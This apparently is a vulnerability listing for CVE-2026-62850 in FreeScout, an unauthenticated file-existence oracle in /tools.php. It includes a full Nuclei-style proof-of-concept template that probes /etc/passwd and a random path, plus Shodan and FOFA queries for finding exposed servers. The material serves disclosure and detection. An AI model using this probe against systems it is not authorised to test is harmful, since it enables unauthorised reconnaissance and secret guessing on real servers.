CVE-2026-62850: FreeScout < 1.8.225 - Unauthenticated Maintenance File Existence Oracle

2026-11-11 PoC Public

Description

FreeScout before 1.8.225 exposes the maintenance endpoint /tools.php without authentication; different responses to existing and non-existing PHP paths disclose filesystem path existence before credential validation.

Details

CVE
CVE-2026-62850 · CVE.org
Severity
中危
Published
PoC
Public

PoC

id: CVE-2026-62850

info:
  name: FreeScout < 1.8.225 - Unauthenticated Maintenance File Existence Oracle
  author: maulanawirawan
  severity: medium
  description: |
    FreeScout before 1.8.225 exposes the maintenance endpoint /tools.php without authentication; different responses to existing and non-existing PHP paths disclose filesystem path existence before credential validation.
  impact: |
    An unauthenticated attacker can enumerate server file and directory paths and make unthrottled guesses of application and database secrets.
  remediation: |
    Upgrade FreeScout to 1.8.225 or later and restrict access to the maintenance endpoint.
  reference:
    - https://github.com/freescout-help-desk/freescout/security/advisories/GHSA-w2p9-3666-vw9j
    - https://github.com/freescout-help-desk/freescout/commit/8bb0594e95eab6661b4372e94ac02f62a6c3cb28
    - https://github.com/freescout-help-desk/freescout/releases/tag/1.8.225
    - https://nvd.nist.gov/vuln/detail/CVE-2026-62850
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
    cvss-score: 5.3
    cve-id: CVE-2026-62850
    cwe-id: CWE-287
  metadata:
    verified: true
    max-request: 2
    vendor: freescout
    product: freescout
    shodan-query: 'http.title:"FreeScout"'
    fofa-query: 'title="FreeScout" || body="freescout"'
  tags: cve,cve2026,freescout,unauth,disclosure,vuln

http:
  - raw:
      - |
        POST /tools.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app_key=x&db_password=x&php_path=/nonexistent-{{rand_base(12)}}

      - |
        POST /tools.php HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        app_key=x&db_password=x&php_path=/etc/passwd

    req-condition: true
    matchers:
      - type: dsl
        dsl:
          - 'status_code_1 == 200 && status_code_2 == 200'
          - 'contains(body_1, "<title>FreeScout Tools</title>") && contains(body_2, "<title>FreeScout Tools</title>")'
          - 'contains(body_1, "PHP executable not found") && contains(body_2, "Directory is not allowed")'
          - '!contains(body_2, "PHP executable not found")'
        condition: and
# digest: 4a0a00473045022100c43fe1bf8d7c8fd2bd3d39623602412066f94056197b02de81fbcad6366b81ce02207dd007b92bd17fd360f2fcac15c042582233114b95d2b2cf7ca5340112f4738f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

微信搜一搜 biu.life